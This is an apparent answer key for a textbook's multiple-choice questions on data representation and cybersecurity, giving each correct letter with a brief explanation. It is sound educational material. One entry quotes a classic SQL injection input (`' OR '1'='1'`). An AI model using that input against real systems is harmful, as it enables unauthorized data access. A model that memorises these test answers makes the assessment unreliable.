0003.h.6.5 A. A byte is exactly two hexadecimal digits, with one digit for each four bits. Decimal digits do not line up with groups of bits in this way. Question: page 785

0003.h.7.1 B. The last two digits give the blue intensity. Question: page 786

0003.h.7.2 A. `#RRGGBB` gives red, green, and blue as two hexadecimal digits each, so the middle pair sets the intensity of green. Question: page 786

0003.h.7.3 D. All three components at full intensity make white. Question: page 786

0003.h.7.4 C. Halving each component darkens the color while keeping its proportions. Question: page 787

0003.h.7.5 A. Each channel has 256 values, and `256^3` is about 16.7 million. Question: page 787

0003.h.8.1 B. ASCII covers basic English text, whereas Unicode covers the world's writing systems. Question: page 787

0003.h.8.2 A. `2^7` is `128`. ASCII uses 7 bits for basic English text. Question: page 787

0003.h.8.3 C. `97 - 65` is `32`, which is `2^5`. Question: page 788

0003.h.8.4 A. UTF-8 uses one to four bytes per character. Question: page 788

0003.h.8.5 B. The same bytes can represent different text under different encodings. Question: page 788

0003.h.9.1 B. Overflow occurs when a result is too large for the available number of bits. Question: page 789

0003.h.9.2 A. Two's complement is the usual way to represent negative integers: invert the bits and add `1`. Question: page 789

0003.h.9.3 C. The 256 values are divided between negative and nonnegative numbers, with one more negative value than positive. Question: page 789

0003.h.9.4 C. Invert `0000 0001` to get `1111 1110`, and then add `1`. Question: page 789

0003.h.9.5 A. A wider type extends the range of values that can be represented. Question: page 790

0004 Cybersecurity

0004.a Assets and attacks

0004.a.1.1 B. Assets deserve protection according to the harm their exposure would cause, and health records are highly sensitive personal data. Question: page 790

0004.a.1.2 D. Records about identifiable students are protected, whereas calendars and published agendas are not. Question: page 790

0004.a.1.3 B. Credentials and network access are assets in their own right, so a device with no stored files can still give an attacker a way in. Question: page 791

0004.a.1.4 B. Payroll data typically includes Social Security numbers and bank details, which enable identity theft. Question: page 791

0004.a.1.5 D. Assets include organizational data, credentials, and the devices and networks themselves. Question: page 791

0004.a.2.1 C. Phishing uses deceptive messages, and spear phishing targets a specific person using personal details. Question: page 792

0004.a.2.2 C. Phishing targets people through deceptive messages, so it can succeed against well-maintained systems. Question: page 792

0004.a.2.3 D. Unusual requests should be verified through a second, known channel, and urgency is a common warning sign. Question: page 792

0004.a.2.4 D. Deceptive messages target people, so defenses combine filtering with training and multifactor authentication. Question: page 793

0004.a.2.5 B. Attackers can obtain certificates for lookalike domains, so a lock icon shows only that the connection is encrypted. Question: page 793

0004.a.3.1 D. Social engineering manipulates people, using tactics such as impersonation. Question: page 793

0004.a.3.2 B. Baiting uses curiosity or an apparent gift to prompt a harmful action, as with infected USB drives left to be found. Question: page 794

0004.a.3.3 C. The call pretends to come from a trusted party and creates urgency, both common social engineering tactics. Question: page 794

0004.a.3.4 A. Social engineering bypasses technical controls, so identity verification procedures matter. Question: page 794

0004.a.3.5 A. Urgency and secrecy discourage the verification that would expose the fraud. Question: page 794

0004.a.4.1 A. A Trojan disguises itself as legitimate software and relies on users to install it. Question: page 795

0004.a.4.2 D. A worm spreads on its own, without attaching to a file or depending on a user's action. Question: page 795

0004.a.4.3 A. A keylogger records keystrokes on the device, before encryption can protect them. Question: page 795

0004.a.4.4 C. A virus attaches to files, while a worm spreads on its own. Question: page 796

0004.a.4.5 C. Spyware covertly gathers data about a user, whereas a keylogger specifically records keystrokes. Question: page 796

0004.a.5.1 B. Ransomware encrypts files and demands payment for the key, and offline backups allow recovery without it. Question: page 796

0004.a.5.2 B. Ransomware encrypts a victim's files and demands payment for the key. Question: page 797

0004.a.5.3 D. Ransomware often spreads across networks, so an isolated copy is what preserves the ability to recover. Question: page 797

0004.a.5.4 D. Payment does not guarantee that data was not stolen or that the attacker has left. Question: page 797

0004.a.5.5 B. Ransomware often spreads across networks to maximize damage, which increases the pressure to pay. Question: page 798

0004.a.6.1 D. DDoS attacks are launched from botnets, and risk grows with the number of devices and their openness. Question: page 798

0004.a.6.2 B. A botnet is a group of compromised devices under an attacker's control, and it is often used to launch distributed denial-of-service attacks. Question: page 798

0004.a.6.3 B. Distributed capacity and filtering help to keep a service available during a flood of requests. Question: page 799

0004.a.6.4 B. A denial-of-service attack makes a service unusable, which compromises availability. Question: page 799

0004.a.6.5 D. Requests in a distributed attack come from many addresses, so blocking any one of them has little effect. Question: page 799

0004.a.7.1 A. Credential stuffing reuses passwords leaked from other breaches. Question: page 800

0004.a.7.2 A. A dictionary attack tries common choices, whereas brute force tries all possibilities. Question: page 800

0004.a.7.3 B. Limiting attempts makes online guessing impractical, but it does not stop a correct password from working. Question: page 800

0004.a.7.4 D. Length protects against guessing, and uniqueness protects against credential stuffing. Question: page 800

0004.a.7.5 B. A lockout slows online guessing, but it does not affect offline guessing against stolen hashes. Question: page 801

0004.a.8.1 B. An attacker intercepts communication between two parties, and encryption protects the content. Question: page 801

0004.a.8.2 D. Packet sniffing captures traffic crossing a network, whereas a man-in-the-middle attacker relays communication between two parties. Question: page 801

0004.a.8.3 C. HTTP is not encrypted, so credentials on open Wi-Fi can be captured in transit. Question: page 802

0004.a.8.4 B. Certificate warnings may signal an attacker's interception of a connection. Question: page 802

0004.a.8.5 B. A virtual private network encrypts traffic between the device and a trusted endpoint. Question: page 802

0004.a.9.1 D. An insider threat includes a former employee whose account was never disabled. Question: page 803

0004.a.9.2 D. An insider threat comes from someone with legitimate access, whether careless or malicious. Question: page 803

0004.a.9.3 C. Insider threats include careless actions by people with legitimate access. Question: page 803

0004.a.9.4 C. Least privilege limits what any one account can reach, which firewalls and encryption do not do. Question: page 803

0004.a.9.5 D. Firewalls watch the boundary of a network, so monitoring is needed to detect misuse of authorized access. Question: page 804

0004.a.10.1 C. Wardriving means searching for wireless networks from a moving vehicle. Question: page 804

0004.a.10.2 B. Shoulder surfing is watching someone enter sensitive information, and it needs no technology. Question: page 804

0004.a.10.3 C. Encryption protects stored data when a locked device is taken. Question: page 805

0004.a.10.4 B. Physical arrangements reduce the opportunity for shoulder surfing. Question: page 805

0004.a.10.5 D. Wardriving looks for wireless networks, whereas theft, shoulder surfing, and insider misuse do not depend on them. Question: page 805

0004.a.11.1 C. An APT is a well-resourced attacker that gains long-term, stealthy access. Question: page 805

0004.a.11.2 B. Advanced persistent threats are well resourced and often state-sponsored, and they pursue long-term goals rather than quick profit. Question: page 806

0004.a.11.3 D. Unlike ransomware, advanced persistent threats avoid announcing themselves, because long-term goals depend on not being discovered. Question: page 806

0004.a.11.4 A. Monitoring for unusual behavior can find stealthy intruders whom perimeter defenses have missed. Question: page 806

0004.a.11.5 D. Slow movement and custom tools suggest a well-resourced attacker seeking long-term, stealthy access. Question: page 807

0004.b Safeguards

0004.b.1.1 B. Availability means that data and systems are usable when needed, and the outage affected nothing else. Question: page 807

0004.b.1.2 B. Integrity means that data are not improperly altered. Question: page 807

0004.b.1.3 B. A changed grade violates integrity, whereas merely viewing it would violate confidentiality. Question: page 808

0004.b.1.4 A. Confidentiality means that only authorized people can read data, and that is what the breach violated. Question: page 808

0004.b.1.5 C. Keeping data offline trades availability for confidentiality. Question: page 808

0004.b.2.1 A. Physical safeguards prevent direct access to hardware. Question: page 809

0004.b.2.2 D. Physical safeguards such as access badges control entry to places where hardware is kept. Question: page 809

0004.b.2.3 A. Physical access can bypass many digital defenses, so ports and visitors need attention as well. Question: page 809

0004.b.2.4 A. Securing devices physically addresses theft directly, whereas login and network controls do not. Question: page 809

0004.b.2.5 B. Cameras are a physical safeguard that discourages entry and provides evidence. Question: page 810

0004.b.3.1 C. Regular patches close known vulnerabilities, and here the fix was available but not applied. Question: page 810

0004.b.3.2 B. Firewalls control which traffic may pass between networks. Question: page 810

0004.b.3.3 B. Intrusion detection monitors for suspicious activity and raises alerts. Question: page 811

0004.b.3.4 D. Antivirus software can miss new malware, so it is one layer among several. Question: page 811

0004.b.3.5 B. Using layers, so that one failure does not expose everything, is called defense in depth. Question: page 811

0004.b.4.1 C. Simulated messages teach employees what real attempts look like, and they work alongside other layers. Question: page 811

0004.b.4.2 A. Locking unattended screens is a behavioral safeguard that stops others from using an open session. Question: page 812

0004.b.4.3 B. Unusual requests should be verified through a second channel that the requester did not supply. Question: page 812

0004.b.4.4 D. Short, frequent practice with feedback is more effective than long annual videos. Question: page 812

0004.b.4.5 D. Behavioral safeguards work better when the secure action is also the easy one. Question: page 813

0004.b.5.1 A. MFA requires another factor, so it mitigates attacks that use stolen passwords. Question: page 813

0004.b.5.2 A. Multifactor authentication requires different types of factor, so two things the user knows are one type. Question: page 813

0004.b.5.3 A. The password is something the user knows, and the phone holding the app is something the user has. Question: page 814

0004.b.5.4 D. MFA mitigates attacks using stolen passwords, though fake sites can relay codes as the user types them. Question: page 814

0004.b.5.5 D. Administrator and remote accounts should be prioritized, because compromising them would cause the most damage. Question: page 814

0004.b.6.1 C. Unique passwords stop one breach from unlocking other accounts, though the manager's master password must be protected. Question: page 814

0004.b.6.2 D. A password manager means that users do not have to memorize a long, unique password for each site. Question: page 815

0004.b.6.3 A. Length and randomness make guessing harder, whereas personal details and common substitutions are predictable. Question: page 815

0004.b.6.4 C. Leaked passwords are tried on other sites, so every account that shares the password is at risk. Question: page 815

0004.b.6.5 B. Attackers' tools already try common substitutions, whereas each added random character multiplies the possibilities. Question: page 816

0004.b.7.1 A. An unlisted link is not access control, so sharing should be limited to the individuals and groups who need it. Question: page 816

0004.b.7.2 C. Least privilege gives users only the access their role requires. Question: page 816

0004.b.7.3 B. If the application is compromised, an attacker is limited to what the account can do, so it should hold only the rights it uses. Question: page 817

0004.b.7.4 C. Privilege creep is the accumulation of access over role changes, and it calls for regular reviews. Question: page 817

0004.b.7.5 C. Excess privilege increases the damage that a compromised account can do. Question: page 817

0004.b.8.1 A. The rule calls for three copies, on two types of media, with one off site. Question: page 818

0004.b.8.2 C. The 3-2-1 rule includes one copy off site, which protects against local disasters. Question: page 818

0004.b.8.3 A. Testing restoration shows whether a backup can actually be used. Question: page 818

0004.b.8.4 D. Redundant servers keep a service available if one fails. Question: page 818

0004.b.8.5 A. Version history undoes accidental changes that syncing or mirroring would copy. Question: page 819

0004.b.9.1 B. An air-gapped computer has no connection to outside networks, but it remains vulnerable to physical access and removable media. Question: page 819

0004.b.9.2 B. An air-gapped computer has no physical or wireless connection to outside networks. Question: page 819

0004.b.9.3 A. The high stakes justify the loss of convenience, whereas the other systems exist to be reached over a network. Question: page 820

0004.b.9.4 A. Any connection removes the guarantee that remote access has been eliminated. Question: page 820

0004.b.9.5 A. Data transfer and patching must be done through careful manual procedures. Question: page 820

0004.b.10.1 C. Comparing hashes reveals whether a file has been altered. Question: page 821

0004.b.10.2 C. A cryptographic hash is a one-way fingerprint, not reversible encryption or compression. Question: page 821

0004.b.10.3 D. One changed character changes the whole value. Question: page 821

0004.b.10.4 D. A change in a file produces a different hash, so comparing values reveals alteration. Question: page 821

0004.b.10.5 A. A hash posted on a compromised server proves little, because the attacker controls both the file and the value. Question: page 822

0004.b.11.1 A. Default administrator credentials are published and control the router's configuration, so they should be changed. Question: page 822

0004.b.11.2 D. Securing a router involves using current encryption such as WPA3, as WEP and older WPA are weak. Question: page 822

0004.b.11.3 B. Turning off unneeded features reduces the ways in which an attacker can reach the router. Question: page 823

0004.b.11.4 A. Router flaws are corrected by firmware updates. Question: page 823

0004.b.11.5 C. Hiding the network's name is obscurity, not protection. Question: page 823

0004.c Security trade-offs

0004.c.1.1 C. Stronger security often adds friction, and users may look for workarounds. Question: page 824

0004.c.1.2 B. MFA protects accounts but can inconvenience legitimate users, who may then look for workarounds. Question: page 824

0004.c.1.3 D. Friction should be proportional to risk, and controls should fit the people using the system. Question: page 824

0004.c.1.4 A. Controls that ignore how people work tend to be bypassed. Question: page 824

0004.c.1.5 A. Higher-risk data justifies greater inconvenience. Question: page 825

0004.c.2.1 C. Tighter restrictions can block legitimate access, so controls should fit data sensitivity and users' needs. Question: page 825

0004.c.2.2 A. Tighter restrictions improve confidentiality but can block legitimate access. Question: page 825

0004.c.2.3 C. Emergency "break-glass" access preserves both availability and accountability. Question: page 826

0004.c.2.4 A. A single person holding the only key risks availability, even though confidentiality remains strong. Question: page 826

0004.c.2.5 D. Controls should be tuned to fit the sensitivity of the data and the needs of users. Question: page 826

0004.c.3.1 C. Detailed logging improves detection but collects more information about people. Question: page 827

0004.c.3.2 A. The same data that helps detect threats also reveals people's activity. Question: page 827

0004.c.3.3 C. Collecting only what is needed, keeping it briefly, and limiting who can read it reduce the privacy cost. Question: page 827

0004.c.3.4 B. Greater inspection reduces privacy, because the company's systems can see sensitive personal traffic. Question: page 827

0004.c.3.5 A. Transparency allows people to understand the trade-off that monitoring involves. Question: page 828

0004.c.4.1 B. HTTPS has a slightly slower connection setup in exchange for protection. Question: page 828

0004.c.4.2 B. Encryption, scanning, and logging all consume processing and network resources. Question: page 828

0004.c.4.3 A. The cost is small in relation to the protection, and small costs are usually worth it for sensitive data. Question: page 829

0004.c.4.4 C. Tuning controls can preserve most of the protection at a lower cost. Question: page 829

0004.c.4.5 D. Logging consumes resources, so tuning it preserves most of the protection at a lower cost. Question: page 829

0004.c.5.1 D. Organizations prioritize based on the likelihood and impact of each risk. Question: page 830

0004.c.5.2 D. The stolen password is high on both likelihood and impact, so it takes priority. Question: page 830

0004.c.5.3 B. Organizations weigh a safeguard's cost against the risk it reduces. Question: page 830

0004.c.5.4 D. Safeguards cost money and staff time, and a tool that nobody monitors protects little. Question: page 830

0004.c.5.5 B. Never having been attacked does not lower the risk of a known flaw. Question: page 831

0004.c.6.1 C. Current guidance favors long, unique passwords, with changes when compromise is suspected. Question: page 831

0004.c.6.2 D. Current guidance favors long, unique passwords, with changes when compromise is suspected. Question: page 831

0004.c.6.3 C. Screening removes breached passwords, which are known weak choices. Question: page 832

0004.c.6.4 C. Length matters greatly, so a low maximum is a weakness. Question: page 832

0004.c.6.5 B. Suspected compromise is the reason to change a password, under current guidance. Question: page 832

0004.c.7.1 D. Organizations balance speed against testing, particularly for critical systems. Question: page 833

0004.c.7.2 C. For a zero-day, no fix yet exists. Question: page 833

0004.c.7.3 B. When no fix yet exists, mitigations and monitoring reduce the risk until one arrives. Question: page 833

0004.c.7.4 A. Staged rollouts limit the effect of a bad update. Question: page 833

0004.c.7.5 A. When patching is impractical, isolating a system limits its exposure. Question: page 834

0004.c.8.1 D. Organizations should assess vendors' security before contracting. Question: page 834

0004.c.8.2 B. Including only necessary dependencies reduces exposure, and the remainder need monitoring. Question: page 834

0004.c.8.3 B. Pinned versions and reviewed updates keep a compromised release from spreading automatically. Question: page 835

0004.c.8.4 C. Using a vendor does not transfer an organization's duties, so third-party risk must be managed. Question: page 835

0004.c.8.5 A. Specialists' tested services can be safer than custom authentication, despite the dependency they add. Question: page 835

0004.d Cryptography

0004.d.1.1 A. The published procedure is the algorithm, the secret input is the key, and the unreadable output is ciphertext. The grade files that go in are the plaintext. Question: page 836

0004.d.1.2 A. Encrypted data is ciphertext. The original sentences are the plaintext, and the secret value is the key. Question: page 836

0004.d.1.3 B. The key changes how the algorithm transforms the data, so different keys give different ciphertexts. Decryption requires the appropriate key, so one teacher's value does not open the other teacher's file. Question: page 836

0004.d.1.4 A. Decryption reverses encryption only with the appropriate key. Using another value produces meaningless output and leaves the stored ciphertext intact, so the correct key will still work. Question: page 836

0004.d.1.5 D. Encoding changes the form of data, but it needs no key, so anyone can reverse it. Encryption depends on a secret key. Question: page 837

0004.d.2.1 D. With symmetric encryption, the same key encrypts and decrypts. It is fast, but the parties must exchange the key securely. Question: page 837

0004.d.2.2 A. AES is a symmetric algorithm, so one shared key both encrypts and decrypts. Question: page 837

0004.d.2.3 C. Each pair needs a shared key, and `10 * 9 / 2` is `45`. Question: page 838

0004.d.2.4 A. The strength of encryption depends on the key remaining secret. Sending the key with the ciphertext gives an interceptor everything needed to decrypt the file. Question: page 838

0004.d.2.5 C. Whole-disk encryption handles large amounts of data, so speed matters. The owner is the only user, so the usual difficulty of exchanging a shared key does not arise. Question: page 838

0004.d.3.1 D. Data encrypted with a public key can be decrypted only with the matching private key. Sharing the public key lets anyone write to the newspaper, while only the newspaper can read the tips. Question: page 839

0004.d.3.2 D. RSA is a common asymmetric algorithm. AES is symmetric, and SHA-256 and bcrypt are hash functions. Question: page 839

0004.d.3.3 D. RSA avoids the need for a previously shared secret, and its cost is speed. AES is much faster, but it requires a shared key. Question: page 839

0004.d.3.4 C. A public key is meant to be shared, so anyone can encrypt with it. Only the private key decrypts the result, and the public key does not reveal it. Question: page 839

0004.d.3.5 B. Asymmetric encryption depends on the private key remaining private. Anyone who holds the key can decrypt every captured message that was encrypted to the matching public key. Question: page 840

0004.d.4.1 A. Asymmetric methods solve the problem of establishing a shared key, and symmetric encryption then handles the rest of the communication quickly. Question: page 840

0004.d.4.2 B. Symmetric encryption suits large amounts of data because it is much faster than asymmetric encryption. Question: page 840

0004.d.4.3 B. The fast symmetric cipher handles the large file, and the public key protects the shared key on its way to the recipient. Only the recipient's private key can recover the AES key. Question: page 841

0004.d.4.4 D. Asymmetric encryption is much slower than symmetric encryption, so it is not used for bulk data. Hybrid designs use it only to establish a shared key. Question: page 841

0004.d.4.5 C. The asymmetric step lets two parties agree on a shared key over an open network. The private value stays with its owner, so recording the exchange does not reveal the shared key.

Question: page 841

0004.d.5.1 A. A private key cannot be changed or reset once created, so its compromise forces revocation and replacement. Users must be told so that they stop trusting signatures made with the stolen key. Question: page 842

0004.d.5.2 A. A signature is created with the signer's private key, which only the signer holds. Anyone can verify it with the signer's public key. Question: page 842

0004.d.5.3 D. A digital signature demonstrates authenticity and integrity, so any change to the signed content makes verification fail. Verification does not repair the change. Question: page 842

0004.d.5.4 B. Encryption provides secrecy, not proof of origin, because anyone can encrypt to a public key. A digital signature is what would identify the sender. Question: page 843

0004.d.5.5 D. A signature demonstrates possession of the private key, not who was holding it. A compromised key must be revoked and replaced, and signatures made after the theft are suspect. Question: page 843

0004.d.6.1 D. Certificates bind public keys to identities. A certificate says who holds a key, not that the holder is honest or that its systems are secure. Question: page 843

0004.d.6.2 B. In public key infrastructure (PKI), certificate authorities issue certificates that bind public keys to identities. Question: page 844

0004.d.6.3 B. Certificates have validity periods, and browsers warn when one has expired. The warning concerns verifying the site's identity, and it does not show that data was lost or that a key was stolen. Question: page 844

0004.d.6.4 A. PKI depends on trust in the authorities. A fraudulent certificate from a trusted authority binds an attacker's key to the bank's name, so browsers show no warning. Question: page 844

0004.d.6.5 D. Browsers trust certificates that come from authorities they recognize. A self-signed certificate lacks that backing, so it triggers a warning. Question: page 844

0004.d.7.1 C. Under Kerckhoffs's principle, security should depend on the key rather than on the secrecy of the algorithm. Open algorithms can be tested by experts, so their flaws are more likely to be found. Question: page 845

0004.d.7.2 B. Security should depend on keeping the key secret. The algorithm may be public, and ciphertext is assumed to be visible to attackers. Question: page 845

0004.d.7.3 A. Publishing the algorithm is acceptable, but the key must remain secret and random. A key in public source code removes the protection. Question: page 845

0004.d.7.4 B. Open algorithms are used with random keys and seed values. If attackers can predict the keys, the strength of the algorithm offers no protection. Question: page 846

0004.d.7.5 C. A design known to many people is hard to keep secret. Security should depend on a key, which can be protected and replaced, and not on the algorithm. Question: page 846

0004.d.8.1 B. A fixed shift has only 25 useful values, so all of them can be tried quickly. A shift of 3 turns `DWWDFN` back into `ATTACK`. Question: page 846

0004.d.8.2 B. Each letter moves forward by 3 positions: `C` to `F`, `A` to `D`, and `T` to `W`. This is the Caesar cipher. Question: page 847

0004.d.8.3 C. A letter position must stay from `0` to `25`, so the remainder after dividing by the 26 letters is taken after the shift. For example, `25 + 3` is `28`, and `28 % 26` is `2`. Question: page 847

0004.d.8.4 C. A fixed substitution preserves how often each letter occurs. In English, `E` is the most common letter, so a symbol appearing about 12 percent of the time probably stands for a common letter such as `E`. Question: page 847

0004.d.8.5 D. The program outputs `5`, `9`, `5`, and `9` for four identical letters. Using a sequence of shifts in this way flattens letter frequencies, which resists simple frequency analysis. Question: page 848

0004.d.9.1 C. Each additional key bit doubles the number of possible keys. Question: page 848

0004.d.9.2 C. Each added bit doubles the number of possible keys, so longer keys are much harder to guess by brute force. They do not address the other activities listed. Question: page 848

0004.d.9.3 A. There are `2^42` possible keys, and `2^42 / 2^30` is `2^12`, or `4,096` seconds, which is about 68 minutes. Question: page 849

0004.d.9.4 C. Longer keys make brute-force guessing harder, but attackers often go around encryption rather than through it. Stolen passwords call for different safeguards. Question: page 849

0004.d.9.5 C. Each additional bit doubles the number of possible keys. Four more bits give `2^4`, or 16 times as many keys, which takes 16 times as long. Question: page 849

0004.d.10.1 C. Encryption does not protect data if the key or password is compromised. The drive's strong cipher is of no help to someone who also has the passphrase. Question: page 849

0004.d.10.2 D. Data must be decrypted to be used, so it can be read at an endpoint. The spyware does not need to break the encryption. Question: page 850

0004.d.10.3 B. Encryption does not protect against metadata analysis. Records of who contacted whom, and when, can reveal a relationship even when the contents stay secret. Question: page 850

0004.d.10.4 A. Encryption at rest protects a locked or powered-off device. Once a device is unlocked, its files can be accessed. Question: page 850

0004.d.10.5 A. HTTPS protects data in transit, not records stored on a server. Each stage where data exists needs its own protection. Question: page 851

0004.d.11.1 C. A salt makes identical passwords produce different stored values. A slow function limits how many guesses an attacker can try against a stolen database. Question: page 851

0004.d.11.2 D. Passwords should be stored as salted hashes using a slow function, since a stolen database then does not directly reveal them. Question: page 851

0004.d.11.3 D. Each account has its own salt, so identical passwords produce different stored values. Question: page 852

0004.d.11.4 A. A properly designed system cannot retrieve a password, and it can only let users reset it. A site that can email a current password is not hashing it. Question: page 852

0004.d.11.5 A. SHA-256 is designed to be fast, so an attacker can try guesses at great speed even when salts are used. Slow functions such as bcrypt make guessing far more costly. Question: page 852

0004.d.12.1 D. Large quantum computers could break RSA, so traffic recorded today could be decrypted later. Data that must stay secret for decades therefore motivates post-quantum cryptography now. Question: page 853

0004.d.12.2 B. Quantum Key Distribution (QKD) uses quantum physics to detect eavesdropping during key exchange, because observing the signal disturbs it. Question: page 853

0004.d.12.3 B. QKD addresses eavesdropping during key exchange. Staff members who are deceived into typing passwords have a different problem, which QKD does not touch. Question: page 853

0004.d.12.4 D. RSA relies on the difficulty of factoring large numbers, and large quantum computers could factor efficiently. This threat motivates post-quantum cryptography. Question: page 853

0004.d.12.5 D. Claims should be checked against openly reviewed methods. Secrecy about an algorithm is a reason for caution rather than reassurance. Question: page 854

0004.d.13.1 B. Cryptographic strength can fail through procedural errors and sustained analysis. The Enigma case shows both at work. Question: page 854

0004.d.13.2 C. Allied efforts at Bletchley Park to break Germany's Enigma machine took place during World War II. Question: page 854

0004.d.13.3 C. Known plaintext lets codebreakers check whether a candidate setting turns the ciphertext into the guessed words, which eliminates many settings. Question: page 855

0004.d.13.4 C. Enigma had an enormous number of settings, but procedural errors and sustained analysis defeated it. Reusing keys and predictable headers repeat the same kind of weakness. Question: page 855

0004.d.13.5 A. Cryptographic failure had major consequences, since decrypted messages informed Allied decisions during the war. Question: page 855

0004.e Software vulnerabilities

0004.e.1.1 A. With no fix available, the response is to reduce exposure and monitor systems until a patch can be deployed. A new password or new hardware leaves the flawed code in place. Question: page 856

0004.e.1.2 D. The label concerns timing: the flaw is exploited before a fix exists. Severity, reach, and ease of attack are separate properties. Question: page 856

0004.e.1.3 B. A vendor cannot fix a flaw it does not know about, so users stay exposed to whoever acquires the details. Question: page 856

0004.e.1.4 D. Until a fix arrives, reducing exposure and monitoring are the appropriate actions. Reinstalling the same version restores the same flawed code. Question: page 857

0004.e.1.5 B. Once a patch exists, the flaw is no longer a zero-day, and unpatched systems remain open to attack, often by more attackers than before. Question: page 857

0004.e.2.1 A. The loop must stop at whichever comes first, the end of the input or the end of the reserved space. With `OR`, or with `<=`, a long name still writes to index 8. Question: page 857

0004.e.2.2 C. Input larger than its reserved space can overwrite neighboring data, including data that determines what the program runs next. Question: page 858

0004.e.2.3 D. Memory-safe languages check bounds or prevent these errors by design. Extra memory does not change the size of a reserved buffer. Question: page 858

0004.e.2.4 C. A crash on oversized input can signal a flaw in how the program handles length, and such a flaw may be exploitable. Question: page 858

0004.e.2.5 B. Bounds checking compares the input's size with the memory reserved for it. A 150-character value passes this check and still overflows a 20-character space. Question: page 859

0004.e.3.1 D. The typed text becomes part of the command, giving `last_name = '' OR '1'='1'`, a condition true for every row. With `=`, the values `%` and `*` are compared as ordinary text. Question: page 859

0004.e.3.2 D. A parameterized query sends input as data, so it cannot be read as part of the command. Filtering one keyword leaves many other crafted inputs available. Question: page 859

0004.e.3.3 A. An attacker controls the browser and can bypass it entirely, so input must be handled safely on the server. Question: page 860

0004.e.3.4 C. Least privilege limits the damage: an injected command can do only what the application's account is allowed to do. Question: page 860

0004.e.3.5 B. Table and column names help an attacker write working queries. The server should keep details in logs and show users only a generic message. Question: page 860

0004.e.4.1 B. A browser cannot tell that a script delivered by the site came from another user, so it runs the script. This is stored cross-site scripting. Question: page 861

0004.e.4.2 A. Escaping output makes browsers display user content as text rather than interpret it as markup or scripts. Question: page 861

0004.e.4.3 B. A session cookie identifies a logged-in user to the site that issued it, so a stolen one can allow impersonation on that site. Question: page 861

0004.e.4.4 C. `HttpOnly` cookies are sent with requests but are not available to scripts in the page. Question: page 861

0004.e.4.5 C. In reflected cross-site scripting, the script arrives in the request, but the browser still treats it as coming from the site. A stored script reaches anyone who views the page. Question: page 862

0004.e.5.1 B. Letting input choose what the server loads and runs means that an attacker can supply the code. This is remote file inclusion. Question: page 862

0004.e.5.2 D. An allow list (white list) means that only known files can ever be selected, whatever the input contains. Question: page 862

0004.e.5.3 B. A block list (blacklist) cannot anticipate every variation. An allow list refuses anything that it does not name, so `.phtml` would not have passed. Question: page 863

0004.e.5.4 A. Separating uploads from executable paths prevents the server from running them as code. A nightly scan leaves a window in which a file can run. Question: page 863

0004.e.5.5 A. A file's name can be faked, so its content should be validated, and uploads should never be executed. Question: page 863

0004.e.6.1 C. Rebuilding objects from data under a user's control can trigger behavior the attacker chooses, up to remote code execution. Question: page 864

0004.e.6.2 A. A simple format, checked against an expected structure, limits what crafted data can make the service do. Question: page 864

0004.e.6.3 A. Base64 is an encoding, with no secret involved, so it offers neither confidentiality nor protection from changes. Question: page 864

0004.e.6.4 A. A signature that the server verifies reveals any change to the data. An encrypted connection protects data on the way, not from the client holding it. Question: page 864

0004.e.6.5 D. Risk depends on whether attackers can reach the flaw, so the claim that input is trusted should itself be verified. Question: page 865

0004.e.7.1 D. Default credentials are publicly documented, so anyone can find them unless they are changed. Question: page 865

0004.e.7.2 A. Unique credentials and limited network access remove the shared, published login as a route in. Question: page 865

0004.e.7.3 C. Attacks such as the Mirai botnet succeeded because many devices kept their published default credentials. Question: page 866

0004.e.7.4 C. A unique password or a forced change at setup means that no published login works on the device. Question: page 866

0004.e.7.5 C. A hidden factory account works as a backdoor that is independent of the password staff changed, and users may be unable to remove it. Question: page 866

0004.e.8.1 B. Many successful attacks use known flaws with available patches, which makes regular updating one of the most effective defenses. Question: page 867

0004.e.8.2 D. An organization cannot patch what it does not know that it has. Question: page 867

0004.e.8.3 D. A system that can no longer be patched should be isolated and replaced, since its flaws will not be fixed. Question: page 867

0004.e.8.4 C. A CVE identifier is a standard name for a publicly known flaw, so notices and tools can refer to the same one. Question: page 867

0004.e.8.5 C. A patch shows what was fixed, so attackers can work out the flaw and target systems that have not been updated. Question: page 868

0004.e.9.1 A. A supply chain attack targets the trusted source, so a valid signature can cover compromised code. Question: page 868

0004.e.9.2 B. This trick is typosquatting: a malicious package is published under a name close to a popular one. Encryption protects the download, even a download of the wrong package. Question: page 868

0004.e.9.3 C. Indirect dependencies are part of the product, so each one is another route by which malicious or flawed code can arrive. Question: page 869

0004.e.9.4 C. A software bill of materials lists a product's components, so the affected products can be found quickly. Question: page 869

0004.e.9.5 A. Attackers can use a trusted vendor's access as a route into a better-defended customer. Question: page 869

0004.e.10.1 D. Permissions unrelated to an app's function are a warning sign, whatever a store's review has found. Question: page 870

0004.e.10.2 B. A permission should be judged against what the app actually does. Question: page 870

0004.e.10.3 B. A flashlight has no need for contacts or location, so these requests signal a privacy and security risk. Disclosing the sharing does not remove it. Question: page 870

0004.e.10.4 B. Scoping a permission to the time when it is needed limits an app to the access that its function requires. Question: page 870

0004.e.10.5 A. With equal function, the app with less access creates less risk for students. Question: page 871

0004.e.11.1 D. A flaw is a vulnerability, an actor with the potential to cause harm is a threat, and a tool that uses the flaw is an exploit. Question: page 871

0004.e.11.2 C. Risk combines likelihood and impact, and both depend on the system where the flaw exists, not only on the flaw. Question: page 871

0004.e.11.3 D. A vulnerability exists apart from any attack, so a record with no incidents does not show that there are no flaws. Question: page 872

0004.e.11.4 D. Limited effort should go where it reduces the most risk, which depends on severity, exposure, and whether a flaw is being attacked. Question: page 872

0004.e.11.5 A. Compensating controls reduce exposure and therefore likelihood, but the weakness stays until it is fixed. Question: page 872

0004.f Preventing and responding to breaches

0004.f.1.1 B. Disconnecting limits the spread, and IT should be told right away. Question: page 873

0004.f.1.2 B. A user should not pay or interact with the attacker. IT staff can decide on the response with full information. Question: page 873

0004.f.1.3 A. Fake alerts of this kind are a form of social engineering, so support should be reached only through known channels. Question: page 873

0004.f.1.4 B. Prompt reporting lets staff contain the problem and limit its spread. Question: page 873

0004.f.1.5 A. Memory contents disappear when power is lost, so responders may keep a machine on to preserve this evidence. Question: page 874

0004.f.2.1 D. A complete response covers the password, everywhere it was reused, open sessions, multi-factor authentication (MFA), and reporting. Question: page 874

0004.f.2.2 C. Changing a password may not end a session that is already open, so active sessions should be ended as well. Question: page 874

0004.f.2.3 D. Stolen credentials may not be used right away, so reporting should not depend on visible harm. Question: page 875

0004.f.2.4 A. An intruder may leave a forwarding rule that keeps sending out mail after the password changes. MFA makes a return harder. Question: page 875

0004.f.2.5 D. Stolen pairs are tried as they are, so strength does not help a reused password. Unique passwords keep one breach from spreading to other accounts. Question: page 875

